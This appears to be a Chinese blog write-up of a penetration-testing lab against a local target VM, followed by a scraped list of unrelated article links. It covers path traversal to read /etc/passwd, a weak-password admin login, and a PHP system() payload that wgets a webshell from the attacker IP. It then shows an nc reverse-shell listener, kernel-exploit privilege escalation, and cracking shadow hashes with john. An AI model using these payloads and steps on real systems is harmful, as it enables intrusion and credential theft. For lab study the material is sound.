一、简介

路径遍历攻击也称为目录遍历,旨在,访问存储在web根文件夹之外的文件和目录。通过操纵带有“点-斜线(…)”序列及其变化的文件或使用绝对路径来引用文件的变量,来访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。需要注意的是,系统访问控制(如在微软Windows操作系统上锁定或使用文件)限制了对文件的访问权限。
这种攻击也称为“点-点斜线”、“目录遍历”、“目录爬升”和“回溯”。
靶机:192.168.1.113

攻击机:192.168.1.110

owasp-zap web漏洞扫描器,自动挖掘web应用程序中的漏洞

高危漏洞path traversal

打开之后发现一串代码,这是返回etc/passwd/的文件信息,
接下来在浏览器中把passswd修改为shadow就可以查看该站点shadow的文件内容,但是发现并没有返回shadow的对应信息,因为服务器设置的shadow是不可用的,修改路径可以得到不同的内容,只要该路径下存在该内容,或者该文件设置的对应权限是可读的。

二、利用目录遍历漏洞获取shell思路:

1、上传webshell到服务器,
2、之后通过对应的目录遍历路径访问webshell,执行webshell。
3、在kali linux当中获取反弹shell;

dbadmin 敏感目录有敏感页面,浏览器访问,使用弱口令尝试登陆;

弱口令有字母型和数字型。

字母型是用123456作为对应的用户名和密码, 数字型是用admin作为用户名和密码。

使用admin进行登录可以进入系统后台。

登陆页面之后 查找可利用的写webshell的点;

gedit php-reverse-shell.php


mv php-reverse-shell.php shell.php

在系统后台新建数据库,数据表,字段(写入<?php system("cd /tmp;wget http://192.168.1.110:8000/webshell.php;chmod +x webshell.php;php webshell");?>)


创建服务器用于靶场机器下载对应webshell

python -m “SimpleHTTPServer”

启动监听 nc
nc –nlvp 端口号
端口号为上述自己修改的端口号。

输入id进行查看对应的权限

启动终端

老是做的中间断网,然后有时能反弹shell成功,有时不能,尝试很多次了放弃

三、提权

提权前提:已经拿到低权shell,被入侵机器上有nc,python,perl等工具,有权限上传文件和下载文件

内核溢出漏洞提权,先对系统相关信息收集

查看发行版本:
cat /etc/issue
cat /etc/*-release

查看内核版本:
uname -a

寻找内核溢出代码:
searchsploit 发行版本 内核版本
上传内核溢出代码,编译执行

gcc xxx.c -o exploit

chmod +x exploit

./exploit

明文root密码提权

大多数Linux系统密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关

passwd存储了用户,shadow存储了密码的hash

出于安全考虑passwd是全用户可读,root可写,shadow是仅root可读写的

四、破解用户名和密码

unshadow passwd shadow > cracked

john cracked

计划任务

计划任务是一些定时执行的任务,由crontab管理,具有所属用户的权限,非root权限用户是不可以列出root用户的计划任务的,但/etc/内系统的计划任务可以被列出

默认这些程序由root权限执行,若有幸可将其中脚本配置成任意用户可写的管理员,即可修改脚本连回rootshell,若定时执行的文件是py脚本,可使用脚本来替换之前的脚本

靶场代码之前有写出来过

五、密码复用

很多管理员会使用相同密码,即数据库或后台密码即是root密码





路径遍历(目录遍历)相关推荐

  1. python3 文件内容搜索 文件名搜索 目录遍历

    目录 目录遍历 文件名搜索 文件内容搜索 关键字搜索整合 完整代码 目录遍历 首先我们来看如何实现目录遍历 目录遍历的过程很简单: 将目标路径作为当前目录 罗列出当前目录下的所有内容 判断每一个目标是 ...

  2. WEB安全基础入门—目录遍历(路径遍历\路径穿越攻击)

    欢迎关注订阅专栏! WEB安全系列包括如下三个专栏: <WEB安全基础-服务器端漏洞> <WEB安全基础-客户端漏洞> <WEB安全高级-综合利用> 知识点全面细致 ...

  3. python遍历文件目录_python目录遍历

    广告关闭 腾讯云11.11云上盛惠 ,精选热门产品助力上云,云服务器首年88元起,买的越多返的越多,最高返5000元! 我曾经写了c语言的遍历目录.php的遍历目录,今天来说一下python遍历目录, ...

  4. linux c 遍历目录 及 目录下文件

    目录 递归实现 非递归实现 我们知道,许多操作系统中的目录结构都是使用树结构. 使用递归的方法定义树是比较容易的.一棵树地一些节点的集合. 这个集合可以为空,若非空,则树由树根和0个或者多个非空的子树 ...

  5. 1.4 File类(文件操作类)获取文件属性,创建和删除文件\目录,遍历目录

    在 Java 中,File 类是 java.io 包中唯一代表磁盘文件本身的对象,也就是说,如果希望在程序中操作文件和目录,则都可以通过 File 类来完成.File 类定义了一些方法来操作文件,如新 ...

  6. Java17-day08【File(创建和删除文件、判断和获取功能、遍历目录)、IO流(字节流写数据、异常处理、字节流读数据、复制文本文件、复制图片)】

    视频+资料(工程源码.笔记)[链接:https://pan.baidu.com/s/1MdFNUADVSFf-lVw3SJRvtg   提取码:zjxs] Java基础--学习笔记(零起点打开java ...

  7. Linux(shell)遍历目录删除指定文件,解决文件夹名称带空格问题

    最近打算把一些学习资源解压上传到阿里网盘上,可是在解压的时候出现了问题,无故产生很多隐藏文件(猪哥mac电脑,用的keka解压软件). 且文件夹层级很多,不可能实现手动一个一个文件夹删除,所以就考虑写 ...

  8. python目录遍历_python文件操作之目录遍历实例分析

    本文实例讲述了python文件操作之目录遍历的方法.分享给大家供大家参考.具体分析如下: Python的os模块,包含了普遍的操作系统功能,这里主要学习与路径相关的函数: os.listdir(dir ...

  9. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

最新文章

  1. linux黄金命令[积累中]
  2. python copy模块_python日记第四章:python文件copy模块shutil
  3. 【MD5】加密/解密大小写问题
  4. ASP.NET MVC 使用 FluentScheduler 定时器计划任务
  5. jpannel设置位置xy_实用的摄影技巧!10种常见摄影场景的单反相机设置技巧!
  6. 公文字体字号标准2020_手把手教你写公文——红头文件的制作技巧
  7. 一、K3 WISE 实施顾问教程《进度1-谈谈实施顾问》
  8. SDCMS 1.1sp1的XSS漏洞的挖掘与利用
  9. .net页面间的参数传递简单实例
  10. SPSS正态性检验(图文+数据集)【SPSS 015期】
  11. Java Filter——敏感词汇过滤
  12. 李宏毅机器学习-- RNN
  13. IDM chrome插件找不到
  14. JST日本压着端子GHD系列线对板连接器PCB封装库(1.25mm间距)
  15. 前端处理二进制文件流
  16. Secondary NameNode工作原理
  17. 为什么Google要将LiveData设计成粘性的
  18. 2.Apache服务器配置(Ubuntu)
  19. 9个经典营销创业案例,彻底颠覆你的营销思维
  20. 推荐几个美女和年薪百万大佬的公众号!

热门文章

  1. 树莓派4B:使用raspi-config实现USB BOOT
  2. ie浏览器下载文件中文名称乱码
  3. week03-面向对象
  4. 985大学计算机专业保研率排名,中国高校保研率排名,前二十名多数是985大学
  5. 小学6年级之圆锥体积公式
  6. workflow engine Ruote 安装
  7. 乔布斯初心与终点:疯子一样的不知妥协
  8. 使用树莓派打造Apple Mac TimeCapsule
  9. AntD3与AntD4组件混用解决方案
  10. 中兴智能视觉大数据报道:进小区1秒人脸识别,自动打开道闸放行